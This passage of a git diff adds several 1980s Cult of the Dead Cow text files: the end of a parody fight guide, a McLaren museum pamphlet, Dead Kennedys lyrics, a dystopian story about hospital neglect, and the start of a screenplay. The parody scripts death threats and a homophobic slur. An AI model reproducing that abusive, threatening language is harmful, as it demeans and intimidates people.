bumps into you. What should you do? + +1. The first thing you should do is say "Watch it, geek." + +2. If he says something back, say "Are you mouthing off to me, faggot?" + +3. Then push him. When he pushes back, say, "You and me, man. You're dead. + I'm gonna kill you, motherfucker, you're so dead. After school. Me and + you. I'm gonna kick your fucking ass. You're dead." + +4. When he walks away tell all your friends how you're gonna kick his ass. + + + - After school - + + +5. Get to the meeting spot first, and say, "Come on, loser. I'm gonna kill + you. You're scared of me." + +6. When he gets there, say, "Let's do it. Put up your dukes." + + + Warning! Warning! Warning! Warning! Warning! Warning! + + +7. Never ever, use any hard objects. 'Cause that's not... Fighting-The Clean + Way! + +8. If you knock him down, wait for him to get up. 'Cause that's also... + Fighting-The Clean Way! + +9. If he knocks you down, make sure your friends don't jump in. 'Cause once + again, that's... Fighting-The Clean Way! + +10. If you win, say, "You fucking wuss, if you mess with me again, I'll kill + you." + +11. If you lose, say, "You got lucky, you better stay home or I'll kill you!" + + + So, now you know how to... Fight-The Jock Way! +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by The Pusher 12/30/88-94 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0095.txt b/textfiles.com/groups/CDC/cDc-0095.txt new file mode 100644 index 00000000..8b51367d --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0095.txt @@ -0,0 +1,203 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + Impresario: Malcom McLaren and the British New Wave + + by The Pusher + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + +Introduction: The New Museum in New York City had an exhibit on Malcom McLaren +(manager of Sex Pistols, Adam and the Ants, and Bow Wow Wow) that I recently +saw. They gave out a pamphlet about him which I typed up in this file. + +Thanks to my sister Leslie for taking me, and paying the cover charge at CBGB's +later that night. +------------------------------------------------------------------------------- + + "He is best known for his role as manager of the infamous punk band, the +Sex Pistols. Yet from his early art school days in the 1960's to his role as +fashion designer, band manager and ultimately as a recording artist in his own +right, Malcom McLaren has had a remarkably varied career as an orchestrator of +public entertainments and spectacles, entrepreneur, style-maker and rabble +rouser. + + The exhibition is about McLaren's participation in fifteen years of music, +fashion, and graphic design, shown through record albums, t-shirts, magazines, +music videos, memorabilia and other objects-many mass produced; and many the +result of McLaren's collaborations with others- in other words, not the sort of +thing usually found in art museums. The intention of this exhibition is not to +push these objects into the rarified atmosphere of "fine art," but to explore +their functions within popular culture, to see how ideas are spoken through +fashion, style, and large-scale cultural phenomena. + + McLaren's arena is popular culture, but his concerns are linked to a +series of movements in 20th-century art that runs from the Dadaists and +Surrealists of the 1920's and 30's, to the Lettrists and Situationists of the +50's and 60's, through Pop Art, Happenings, and into the media-orientated art +of our own time. These movements confounded traditional definitions of art by +challenging the academic separation of "art" from "life." Politically engaged +to greater or lesser degrees, they were concerned with the content of modern +life and the ability of art to affect social experience. + + From his study of art history and his training as an art student, McLaren +became interested in the way social dramas are played out in public spaces. He +and his collaborators learned how to subvert authority through the manipulation +of its symbols, especially its symbols of power. Consider, for instance, Jamie +Reid's famous image of Queen Elizabeth with a safety pin through her nose. +McLaren discovered that creating situations can be more effective than creating +objects alone. In the 1970's and 80's this meant media manipulation, as well +as live performance and the announcement of attitudes through dress and +behavior. + + Malcom McLaren was born in London in 1946. He was raised by his grand- +mother and educated at home until the age of nine. From 1963 to 1971 he +studied art at various schools including Croydon College of Art where he met +fellow students, Jamie Reid and Helen Wellington-Lloyd, who were later to +design most of the Sex Pistols' graphics. In 1972, McLaren left art school to +open a boutique at 430 King's Road with Vivienne Westwood. The boutique first +sold retro clothes that revived the Teddy Boy look of the 50's. But McLaren +and Westwood soon felt that another look was needed for the 70's. Throughout +the decade McLaren would redesign the shop five times, change the inventory and +devise a new name- LET IT ROCK (1972), TOO FAST TO LIVE TOO YOUNG TO DIE +(1973), SEX (1974), SEDITIONARIES (1977), and World's End (1980). In each +carnation the shop carried clothes that had more than style. The clothes +embodied attitude. + + Of all the shops, SEX stands out in strongest profile because of its links +with punk music and culture. (It is there that Johnny Rotten is purported to +have auditioned for the role of the lead singer of the Sex Pistols.) SEX sold +the look of punk-poverty wear, such as ripped t-shirts with slogans scrawled +across them, boots, studded jackets, and bondage clothing made of leather, +chains, and rubber. SEX became a gathering place for punk's growing ranks. +The clothes, along with accessories like safety pins through the ear, lip, or +cheek suggested self-mutilation and instilled fear by evoking violence and +destruction. Danger and criminality were also suggested by the ransom-note +graphics used on punk concert posters and record jackets. + + It was the mid-70's, a period of racial tension, economic instability and +England's highest unemployment rate since the 1930's (33% among recent high +school graduates in 1976). British youths gave up their futile demand for the +right to work. Instead, they demanded the right not to work and to collect +government support anyway. In 1977, absurdly conflicting images clashed in the +newspapers- the dejection of unemployment and the pomp of the Queen's Silver +Jubilee. + + In this atmosphere, punk and its most notorious band, the Sex Pistols, +flourished. The band didn't play well, but it didn't matter. In fact, +virtuosity was the anathema to the punk sensibility. An article in the punk +fanzine "Sniffin' Glue" showed a diagram of the three finger positions on a +guitar and advised: "Here's one chord, here's two more; now form your own +band." Punk not only subverted traditional British values, ethics, and codes +of respectability; it threw into confusion standards of quality across the +board. Its messages were contradictory and deliberately confusing. + + "All 'God Save the Queen' means is that we hate the Queen 'cause everyone +is lookin' up to her." + - Sid Vicious, Sex Pistols bassist + "We hate President Carter, too. Where'd he get them teeth?" + - Paul Cook, Sex Pistols drummer + + In managing the Sex Pistols, McLaren rejected the decorum of conventional +entrepreneurs. The Sex Pistols were good theater and McLaren knew how to make, +as he said, "Cash from Chaos." Beating the capitalist system at its own game, +McLaren collected hundreds of thousands of dollars by signing various recording +contracts which were subsequently broken when reports of the band's unsavory +behavior appeared in the press. For this, in 1977, the Sex Pistols were named +"Young Businessmen of the Year" by England's "Investors Review". + + "The greatest technique involved in managing the Sex Pistols was always to +create the right explosion and then know that it was going to happen, and as +manager, run into the toilet and come out after the explosion and say, 'God, +what's happened?" + - Malcom McLaren + + When the Sex Pistols disbanded in 1978, McLaren was invited to revamp the +image of Adam and the Ants. His first move was to separate Adam from the +group, rename it Bow Wow Wow and enlist 14-year old Annabella Lwin as its lead +singer. As the era of conservative Thatcherism began, McLaren initiated the +look of "punk gone high seas." The theme was piracy and the performers adopted +the theatrical look of swashbuckling outlaws. The concept of the outlaw was +adapted and romanticized in the guise of such legendary figures as Geronimo and +Blackbeard. Whereas punk fashion has recreated the look of poverty, the new +romantic style was a costume of great riches with gold dust, glitter, and +flamboyant color overdone to the point of caricature. Developing the piracy +theme, Bow Wow Wow's song "C30 C60 C90 GO!" encouraged listeners to tape music +directly from the radio instead of buying records. This was modern-day +high-tech appropriation. Exploitation was at the heart of its sensibility. +McLaren capitalized on lead singer Annabella's youth and her "exotic" Burmese +background by developing the exploitation theme through images of blatant +sexism, soft core pornography, and racial stereotyping. + + McLaren's association with Bow Wow Wow ended in 1982 and in 1983 he +released his first solo album, Duck Rock. With this step he inserted himself +into a youth culture that had been gaining momentum in New York City since the +late 1970's. That culture was hip-hop, a movement originating in the South +Bronx which encompassed rap and scratch music, break dancing, graffiti, and its +own forms of clothes and speech. McLaren adopted the techniques of hip hop +music by mixing previous recordings in new combinations, a procedure +conceptually similar to his earlier method of creating new fashions by +juxtaposing unlike styles and forms. To achieve an authentic South Bronx sound +McLaren collaborated with the New York City DJ duo, the World Famous Supreme +Team. Together they intermixed African, Cuban, and American recordings which +McLaren had collected while traveling around the world. Among the results was +"Buffalo Gals" which attracted a crossover audience of both black and white +listeners. + + McLaren's project owed much to hip hop, but also differed from it in a +substantial way. While most hip hop conveys young DJ's attitudes and +experience of urban life, McLaren kept one foot in the realm of fantasy. To +accompany the record, McLaren and collaborator Vivienne Westwood developed a +line of "Buffalo Gal" clothes based on styles from old rural America. Look +muddy, they said, expounding on the pleasures of square dance as a pagan +courting ritual. + + In 1984, McLaren released another album, Fans, which brought him much +acclaim. The record's most intriguing song, "Madam Butterfly", mixed rap music +with Puccini opera. It combined extreme genres in a glossy and sophisticated +package that appealed to yuppies and B-Boys alike. The interpenetration of +high and low culture is not a new idea. But in his music, McLaren not only +combined contrasting styles, he found convincing connections between the +content of operatic libretto and contemporary culture, such as "Cho Cho San's" +woeful tale of unwanted pregnancy in "Madam Butterfly." In McLaren's upcoming +project, a Broadway production based on the album, contemporary teenagers go +opera-mad, living life as if it were a libretto. They reinvent themselves as +Carmens, Toscas, and little "Cho Chos." + + Like punk in the 1970's, this and McLaren's other projects continue to +test the flexibility of art forms and institutions. His primary techniques, +misuse and modification of pre-existing elements, are methods with a long +history in the 20th century from Marcel Duchamp's rectified readymades to +today's "appropriation art." In the 1960's, McLaren was influenced by the +Situationist idea that iconoclasm is a liberating force and an agent of social +change. Is such a strategy viable in today's media-saturated consumer culture, +a culture which seems ever able to absorb outrage and atrocity, as long as +there's a profit to be made? McLaren's accomplishments are perched precisely +on the dialectic between the shocking and new, and its consumption and +popularization. Is there a critique implied in his work or is he just in it +for the sport? I leave it to you to decide." + + + "I think the only rule I ever had was... that if it didn't annoy someone +it wasn't worth doing. If it didn't create problems, too, it wasn't worth +doing. If it didn't have any politics, it was suspect. And from that it then +had to have a lot of style and be sexy, to sell." + - Malcom McLaren +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by The Pusher 12/30/88-95 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0096.txt b/textfiles.com/groups/CDC/cDc-0096.txt new file mode 100644 index 00000000..2d02f488 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0096.txt @@ -0,0 +1,785 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + The DEAD KENNEDY's "PLASTIC SURGERY DISASTERS" Lyrics + + by Necrovore + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + This is a really good album and, well, I decided to type the lyrics up. +Maybe you'll agree with me once you take a look. On a vastly different +tangent, if you want the free poster that came with "Fresh Fruit For Rotting +Vegetables" or the lyric sheets to the "Holiday in Cambodia", "Too Drunk To +Fuck", or "Bleed For Me" singles, please write: + + Faulty Products 633 N. La Brea Suite A + Hollywood, Ca. 90036 + +Also if you wish a copy of the 28 page luxodemented libretto that came with +this album send 75 cents to cover postage to the above address. +_______________________________________________________________________________ + + +--GOVERNMENT FLU + +We got a drug +We're gonna try it out on you +Won't make you die +It'll getcha just a little bit sick +(chorus) +Got a head cold +Got a chest cold +And it's three days old +(Goin' on forever) +Make you hazy +Make you lazy +Drive you crazy +For days and days and days and days +And years +Barely got the time now +To stay on the job +Double up the dosage in your water supply +Make you even sicker 'til you're slippin' away +Getting all depressed +It's getting all your friends +You can't get up +For nothing that'll rock the boat + +The Government Flu +The Government Flu +The Government Flu + +Slip it abroad +Keep a-slowin' down the USSR +But meanwhile +We'll keep an eye +On what it's doin' to you + +(chorus) +Got a head cold +Got a chest cold +And it's three days old +(Goin' on forever) +Make you hazy +Make you lazy +Drive you crazy +For days and days and days and days and days +And days and days and days and days and days +And days and days and days and days and days +and years + +The Government Flu +The Government Flu +The Government Flu +Flew +Through +You + + +--TERMINAL PREPPIE + +I go to college +That makes me so cool +I live in a dorm +And show off by the pool +I join the right clubs +Just to make an impression +I block out thinking +It won't get me ahead + +My ambition in life +Is to look good on paper +All I want is a slot +In some big corporation + +John Belushi's my hero +I lampoon and ape him +My news of the world +Comes from Sports Illustrated + +I'm proud of my trophies +Like my empty beer cans +Stacked in rows up the wall +To impress all my friends + +No, I'm not here to learn +I just want to get drunk +And major in business +And be taught how to fuck + +Win! Win! +I always play to win +Wanna fit in like a cog +In the faceless machine + +(chorus) +I'm a terminal terminal terminal preppie +Terminal terminal terminal preppie +Terminal terminal terminal terminal +Terminal terminal terminal terminal + +I want a wife with tits +Who just smiles all the time +In my centerfold world +Filled with Springsteen and wine + +Some day I'll have power +Some day I'll have boats +A tract in some suburb +With Thanksgivings to host + +(chorus) +I'm a terminal terminal terminal preppie +Terminal terminal terminal preppie +Terminal terminal terminal preppie + + +--TRUST YOUR MECHANIC + +TV invents a disease +You think you have +So you buy our drugs +And soon you depend on them + +Pain is in your mind +Gotcha comin' back for more +Again and again and again and again +Gonna rip you off +Rip you off + +Doctor says you need surgery now +Feelin' good 'til the side effects +Fuck up something else +You're ensnared by the medicine man +Paying up the ass + +Again and again +Gonna rip you off +Trust your mechanic to mend your car +Bring it in to his garage +He tightens and loosens a few spare parts +One thing's fixed, another falls apart +And the rich eat you + +A magazine says your face don't look quite right +Unless you wear our brand new wonder cream tonight +Never look right again +Unless you grease your skin +Again and again and again and again +Gonna rip you off + +Told you're depressed +So of course you see the psychiatrist +Right when you reach your neuroses' roots +He confuses you +He fucks your head up worse +Gotcha feelin' helpless +You're comin' back for more +Again and again +Gonna rip you off +Rip you off + +Trust your mechanic +To make you well +You're seeing an awful lot of him now +The quicker he makes your life fall apart +The more money you put in his pockets + +Trust your mechanic +To plug your holes +Trust him to make more +Somewhere else +Trust your mechanic +He'll always come through +And rip you off + + +--WELL PAID SCIENTIST + +You're a well paid scientist +You only talk in facts +You know you're always right +'Cause you know how to prove it +Step by step +A PhD to show you're smart +With textbook formulas +But you're used up +Just like a factory hand + +(chorus) +Something is wrong here +You won't find it on a shelf +You're well paid +You're well trained +You're tied to a rack + +Company cocktails - gotta go +Say the right thing +Don't fidget, jockey for position +Be polite +In the pyramid you hate +Sip that scotch +Get that raise +This ain't no party at all + +(chorus) + +Cringe and tense up +Grind your teeth +And wipe your sweaty palms +Close your windows driving past +The low life company bar +They're making fun of you + +Ahhh +Even you +You've gotta punch the clock +Too scared to punch your boss +When will you crack +When will you crack +When will you crack +When will you open your eyes + +Pull up to your sterile home +You're drained +Bite the heads off of your kids +Chew them well, they taste like you +Just slam the door +Assigned here cause your company owns the land +All your colleagues live here too +Private guards in golf carts +Keep you safe at home? + +(chorus) +When will you crack +When will you crack +When will you crack +When will you crack + +The dark shattered underbelly +Of the American dream +Avoid it like the plague +It stares you from the bathroom mirror +Drown + + +--BUZZBOMB + +Buzzbomb buzzbomb +Macho-mobile +The road's my slave +That's how I feel + +I cruise alone +I cruise real far +I don't love you +I love my car + +'Cross Nevada +At 110 +Highway 50 +And there's nobody there +Sign says, "Next sign 30 miles" + +I work all week, each penny saved +Buys more escape from my home +I'd rather cruise around all day +Than save up for a move + +Plow through rest area san-o-lets +Splat! goes the lonely salesman +Wanking in the men's room + +Buzzbomb buzzbomb +Tape up loud +Blue piss clinging to my windshield +Faster faster in my car + +Buzzbomb is my pride and joy +King of the trailer court +Waiting for the perfect chick +Who'll love me for my car + +I tell her why I'm cool +She coos back just what I like +When I pretend she's near + +Zip through Ely +Where Pat Nixon was born +The cops 'round here sure looking bored +Flashing sirens - State Patrol + +They're scratching up my gorgeous paint job +Shooting at my tires +Ain't no way to go to heaven +Buzzbomb cornered at the 7-11 + + +--FOREST FIRE + +No junk food, just earthly goods +I ate weird berries in the woods +Now I'm seeing colors, I'm getting higher +I think I'll start a forest fire + +There's a forest fire climbin' the hill +Burnin' wealthy California homes +Better run run run run run +From the fire + +But some of us stay and watch +And we think of your insurance cost +And we laugh laugh laugh laugh laugh laugh +At your lives + +Windows covered with bars +Security guards +Is that a house or a fortress +Against the world + +Windows covered with bars +Security guards +Is that a house or a prison +How you gonna get out? + +Electric bull and your tennis courts +Pink sports cars and your boat +Getting fried fried fried fried fried fried +By the fire + +Windows covered by bars +Floodlights for the yard +It's a pleasure to watch you +Watch it all melt + +But hey! +What about the cocaine +Stockpiled in the basement +Be a hero and save it +You know you're gonna need it + +Where's your brand new pretty wife +She might still be inside +Either save her or your cocaine from the fire + +But the gates and doors are locked +Cause the burglar alarms went off +Ever wonder why we laugh laugh +At your lives + +Windows covered with bars +Fences spiked with barbed wire +Never looked so helpless +Engulfed in flames + +Cameras watchin' the walls +Don't forget the dogs +Now you're trapped in your prison +How you gonna get out + +See the gerbil +Run run run run run run run run +Run run run run run run run run +Run run run run run run run run +From the fire + + +--HALLOWEEN + +So it's Halloween +And you feel like dancin' +And you feel like shinin' +And you feel like letting loose + +Whatcha gonna be? +Babe, you better know +And you better plan +Better plan all day + +Better plan all week +Better plan all month +Better plan all year + +You're dressed up like a clown +Putting on your act +It's the only time all year +You'll ever admit that + +I can see your eyes +I can see your brain +Baby nothing's changed +(repeat) + +You're still hiding in a mask +You take your fun seriously +No, don't blow this year's chance +Tomorrow your mold goes back on + +After Halloween + +You go to work today +You'll go to work tomorrow +Shitfaced tonight +You'll brag about it for months + +Remember what I did +Remember what I was +Back on Halloween + +But what's in between? +Where are your ideas? +You sit around and dream +For next Halloween + +Why not everyday? +Are you so afraid +What will people say +(repeat) + +After Halloween + +Because your roll is planned for you +There's nothing you can do +But stop and think it through +But what will your boss say to you + +And what will your girlfriend say to you + +And what will people out on the street they might glare at you +And whadya know? You're pretty self-conscious too + +So you run back and stuff yourselves in rigid business costumes +Only at night to score is your leather uniform exhumed +Why don't you take your social regulations +And shove 'em up your ass + + +--WINNEBAGO WARRIOR + +Roughin' it in the great outdoors +Guidebooks tell us where to go +Winnebego Warrior + +Slow down traffic climbing hills +30 gallons to the mile +Honey, quick, the Polaroid + +(chorus) +Winnebago Warrior +Brave as old John Wayne +Winnebago Warrior +A true yankee pioneer + +Stop at Stuckey's for a meal +Blab all day on the CB +Winnebago Warrior + +Littered campgrounds, folding chairs +Feed Doritos to the bears +Honey, quick, the Polaroid + +(chorus) + +Kill some fish down by the creek +Hang their picture by the sink +Show your grandson who's the boss + +Tie your two tote-goats to the fronts +U-haul trailer full of souvenirs +That you buy along the way + + +-- RIOT + +Rioting - the unbeatable high +Adrenaline shoots your nerves to the sky +Everyone knows this town is gonna blow +And it's all gonna blow right now... + +Now you can smash all the windows that you want +All you need are some friends and a rock +Throwing a brick never felt so damn good +Smash some more glass +Scream with a laugh +And wallow with the crowd +Watch them kicking peoples' ass + +But you get to the place +Where the real slavedrivers live +It's walled off by the riot squad +Aiming guns right at your head +So you turn right around +And play right into their hands +And set your own neighborhood +Burning to the ground instead + +(chorus) +Riot - the unbeatable high +Riot - shoots your nerves to the sky +Riot - playing into their hands +Tomorrow you're homeless +Tonight it's a blast + +Get your kicks in quick +They're callin' the National Guard +Now could be your only chance +To torch a police car + +Climb the roof, kick the siren in +And jump and yelp for joy +Quickly - dive back in the crowd +Slip away, now don't get caught + +Let's loot the spiffy Hi-Fi Store +Grab as much as you can hold +Pray your arms won't fall off +Here comes the owner with a gun + +(chorus) + +The barricades spring up from nowhere +Cops in helmets line the lines +Shotguns prod into your bellies +The trigger fingers want an excuse +Now + +The raging mob has lost its nerve +There's more of us but who goes first +No one dares to cross the line +The cops know that they've won + +It's all over but not quite +The pigs have just begun to fight +They club your heads, kick your teeth +Police can riot all they please + +(chorus) + +Tomorrow you're homeless +Tonight it's a blast + + +--BLEED FOR ME + +You've been hanging 'round +With an enemy of the state +Come with me to the building +That no one stops to watch + +(chorus) +C'mon bleed +C'mon bleed +C'mon bleed +Bleed for me + +We'll strap you to a pipe +Electrodes on your balls +C'mon scream +C'mon writhe +Face down in a pool of piss + +(chorus) + +In the name of world peace +In the name of world profits +America pumps up our secret police +America wants fuel +To get it, it needs puppets +So what's ten million dead? +If it's keeping out the russians + +We're well trained by the CIA +With Yankee tax money in Ft. Bragg +The Peace Corps builds us labor camps +When they think they're building schools + +Hah + +When cowboy Ronnie comes to town +Forks out his tongue at Human rights +Sit down enjoy our ethnic meal +Dine on some charbroiled nuns +Try a medal on... +Smile at the mirror as the cameras click +And make big business happy +Anytime +Anywhere +Maybe you'll just disappear + +(chorus) + + +--I AM THE OWL + +I am your plumber +No I never went away +I still bug your bedrooms +And pick up everything you say +It can be a boring job +To monitor all day your excess talk + +I hear when you're drinking +And cheating on your lonely wife +I play tape recordings +Of you to my friends at night + +We've got our girl in bed with you +You're on candid camera +We just un-elected you + +(chorus) +I am the owl +I seek out the fowl +Wipe 'em away +Keep America free +For clean livin' folks like me + +If you demonstrate +Against somebody we like +I'll slip on a wig +And see if I can start a riot +Transform you to an angry mob +All your leaders go to jail for my job + +But we aren't the Russians +Political trials are taboo +We've got our secret +Ways of getting rid of you +Fill you full of LSD +Turn you loose on a freeway + +(chorus) + +Send you spinning +Send you spinning +Send you spinning all over the freeway +Spinning on the crowded freeway +Spinning on the freeway +Spinning on the freeway +Spin... +Spin... +Spin - Lookout + +The Press, they never even cared +Why a youth leader walked into a speeding car +In ten years we'll leek the truth +By then it's only so much paper + +Watergate hurt +But nothing really ever changed +A teeny bit quieter +But we still play our little games +We still play our little games +We still play our little games +We still play our little games +We still play a lot of games +I am the owl + +(chorus) + + +--DEAD END + +Once I had a close friend +I knew him for quite a while +He seemed all right to me +We had this deal together +Tied up my money and time +And then he went away +Taking all that was mine + +(chorus) +Oh, well, things crumble to an end +Hell, we all die in the end +Die in the end + +Once it was fun to worry +About who was in control +Could look into the future +But now it don't seem right +Passion is filling the air +Profits and better than life +And things are harder to beat + +(chorus) + +It's a dead end +Dead end +Dead end + +Once I had a lover +I knew her for quite a while +She seemed all right to me +But then she was gone +She took my lovin' and my time +Taking all that was mine +And leaving me far behind + +(chorus) + +It's a dead end +Dead end +Dead end + + +--MOON OVER MARIN + +The crowded future stings my eyes +I still find time to exercise +In uniform with two white stripes + +Unlock my section of the sand +It's fenced off to the waters edge +I clamp a gas mask on my head + +(chorus) + +On my beach at night +Bathe in my moonlight + +Another tanker's hit the rocks +Abandoned to spill out its guts +The sand is laced with sticky glops + +O'Shimmering moonlight sheen upon +The waves and water clogged with oil +White gassed steam up from the soil + +(chorus) + +I squash dead fish between my toes +Try not to step on any bones +I turn around and I go home + +I slip back through my basement door +Switch off all that I own below +Dive in my scalding wooden tub + +My own beach at night + +Electric moonlight + +There will always be a moon +Over Marin + + +Well that's all the tunes. What now? I think I'm gonna write some moo files. +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Necrovore 12/31/88-96 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0097.txt b/textfiles.com/groups/CDC/cDc-0097.txt new file mode 100644 index 00000000..fcc649cc --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0097.txt @@ -0,0 +1,157 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (` ') (` ') + (U) (U) + + Twisted Reality + + by Necrovore + + >>> A CULT Publication......1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + This is a story that I did originally for a journal in my English class. +It is so original that I just had to write it up in a file for all to enjoy. +It basically deals with a period of Earth's history in the near future (say 20 +years from now) and how unfair reality can be. All characters in this story +are fictional. Any similarity to persons living or dead is purely coincidental +(and probably a product of your deranged mind). + +=============================================================================== + + + It was a misty night as Cleophus Jackson walked home from work. Cleophus +was a janitor at the nearby RJR Tobacco Plant and he enjoyed his job. He was +very fortunate because now he could smoke for free. This may seem unimportant +but a cigarette habit can cost between $300 and $600 a year, money which could +be spent on food, shelter, or medical aid. Cleophus' family was poor and the +fact that he could smoke for free was a boon to their budget. + + On this night the moon loomed above, bathing the industrial streets in a +very eerie, yellowish light. It had rained that day and the air smelled of +paper mills and their byproducts. Cleophus was by no means an evil man. Quite +to the contrary, he was a good man willing to stick his neck on the line for a +fellow Amerikan. About two blocks from his small home in "the Gardens" he +walked by the local fast-market. He found that when he turned to wave at the +proprietor that the store was being held up by two junkies. Being the good man +that he was, Cleophus ran inside to try to save the owner, a friend of his. +Even though Cleophus was a good man he was quite naive. One of the two heroin +addicts levelled a sawed-off shotgun at him and let loose. Cleophus hit the +ground amidst a rain of blood, tissue, and bone fragments. Seconds later, the +other junkie shot the owner in the head with a .38 special. What a lovely +scene. The junkies made off with $21 dollars from the cash register and ran +off. About two weeks later they both died from overdoses of bad heroin. + + But back to the present. A passerby saw the carnage and called the +police. About 20 minutes later, the police arrived and called for an +ambulance. It took the ambulance about ten minutes to get to the scene. It +had been speeding all the way, lights a-flashing and sirens a-wailing. The two +cops showed the two paramedics to the bodies and left them to do their work. +One of the cops, new to the ranks of the blue, retched in an alleyway and the +other, a tough sonuvabitch, jeered at him. + + A few minutes later, the paramedics left the fast-market with Cleophus on +a stretcher and his friend, the store owner, in a glistening black body bag. +The two cops did help the 'medics to load the bodies into the ambulance. The +ambulance then roared off into the night, sirens waking sleeping people, lights +illuminating the streets ravaged by the rain ever-present grime. The two +policemen left for doughnuts. + + Minutes later the ambulance pulled into the emergency ward of Forsyth +County Hospital and screeched to a halt as two attendants ran to help the two +'medics unload the bodies and haul them into the emergency ward. The store +proprietor was quite dead, a tunnel through his cranial passages. Cleophus, +though, was alive, albeit barely. Most of his midsection had been blasted into +oblivion by the shotgun wound. As the doctors laid his body on the cold metal +of the examination table, one of the assistants sat down at a nearby computer +terminal and started pressing the keys in rapid succession. Another of the +assistants started to rummage through his pockets for some sort of identifi- +cation. He soon found Cleophus' wallet and looked inside. He pulled out the +drivers license and began reading off the information. The assistant at the +computer terminal continued typing... + + + Forsyth Patient Identification revision 2.5x + + Enter name: JACKSON, CLEOPHUS + + searching... + + Jackson, Cleophus Age 42 Black Male + 1532 Shaden Street, Winston-Salem, NC 27109 + Financial Status: negl (insufficient funds) + + More (Y/n): N + + + "He can't afford it," said the assistant at the terminal. + "All right then," said a doctor that was in the room, "Take him to the +bay." The two assistants lifted Cleophus' body off the table without care and +casually tossed him onto a nearby gurney. It was about this time that Cleophus +died. The gurney was then loaded into a nearby truck. The truck was filled +with bodies all inside body bags. One of the assistants took a bag from a +stack of them, unzipped it, and put Cleophus' lifeless body into it. The bag +was the added to the uniform pile of other body bags in the truck. + + Shortly thereafter, one of the assistants closed up the truck, climbed +into the cab and cranked up the engine. With a rumble, the truck slowly pulled +out from the hospital and started down the highway. About twenty miles out of +town, it turned off on Exit 32A and then down a small, paved road. At last the +truck stopped in front of a gate. The gate was connected to a tall, chain-link +fence, topped with brutal strands of barbed wire. A sign on the gate was marked: + + WARNING! HIGH VOLTAGE! + + A small post stood on the right side of the road, about five feet from the +gate. It had a small slot and a sign on it read: + + Please insert ID card. + + The driver inserted a small plastic card. There was a noticeable hum as +the gate slid to the side. The truck's engine rumbled once more as the driver +pulled the truck into the fenced-off compound. Once in, the gate slid closed +again, the hum reminding him of an army of stampeding cockroaches. He pulled +the truck around the side of a large quonset hut to a loading dock. Once he +stopped, he cut off the engine and stepped out of the truck. + + By this time it was about four in the morning. The moon was well below +the tree line but its glinting beams still shone through the entangled +branches. He walked around to the rear and climbed up on the concrete loading +dock and unlatched the truck's door. The sound of metal grating upon metal +filled the air as the door swung upwards. He then climbed in and took ahold of +one of the body bags. Is it a surprise that it was Cleophus'? He slung the +body over his shoulder and sauntered into the interior of the large quonset +hut. + + Inside the floor was of stained concrete. The huge metal building was but +one room. Its center was a huge pit that reached down fifty feet into the +bowels of the earth. It was filled with body bags, most of them ripped open. +The air that filled his nostrils was a rancid mixture of formaldahyde and the +sickeningly sweet stench of decaying flesh. He tossed the body of Cleophus +into the pit and turned around to go get the rest of the bodies. Nearby, a +large rat scurried by, on its way to a feast.... + +=============================================================================== + + This file kind of makes a protest to the fact that most hospitals today +(yes, even today) give inferior care to poor people just because they don't +have the funds to pay the full bill. Do you think this is fair? Put yourself +in good ol' Cleophus' shoes (even if they are beaten up a little). Cleophus +was, deep down, better than most Amerikan citizens. Yet he gets absolutely no +treatment at all. That's what you get for being a hero in the late '80s, and +probably for the rest of our corrupt civilization. +_______________________________________________________________________________ + Behavior Modification.....806/793-9462 The Dead Zone.............214/522-5321 + Demon Roach Underground...806/794-4362 Dragonfire Private........609/424-2606 + Question Authority........715/341-6516 Pure Nihilism.............517/337-7319 + Tequila Willy's...........209/526-3194 The Metal AE..............201/879-6668 +=============================================================================== + (c)1988 cDc communications by Necrovore 12/31/88-97 + All Rights Worth Shit + diff --git a/textfiles.com/groups/CDC/cDc-0098.txt b/textfiles.com/groups/CDC/cDc-0098.txt new file mode 100644 index 00000000..16b6964a --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0098.txt @@ -0,0 +1,147 @@ + +_______________________________________________________________________________ + _ _ _ _ + ((___)) ((___)) + [ x x ] cDc communications [ x x ] + \ / presents... \ / + (' ') (' ') + (U) (U) + + On The Porch Swing + a screenplay + + from Forced Exposure 'zine #13 + + by Suzy Rust + + >>> A CULT Distribution.....1988 <<< + -cDc- CULT OF THE DEAD COW -cDc- +_______________________________________________________________________________ + + + A taupe-shingled duplex surrounded by olive trees, grape vines, and other +fruits of Italian-American truck-farming know-how houses the Boston head- +quarters of Baggage Productions, a home movie company where I work as a screen- +writer. I arrived there one recent Friday evening to study the reels of Lower +East Side Super 8 artists on the VCR with my accomplices. + Once Richard Kern had finished ejaculating, I went out to get a pizza. +Inside the 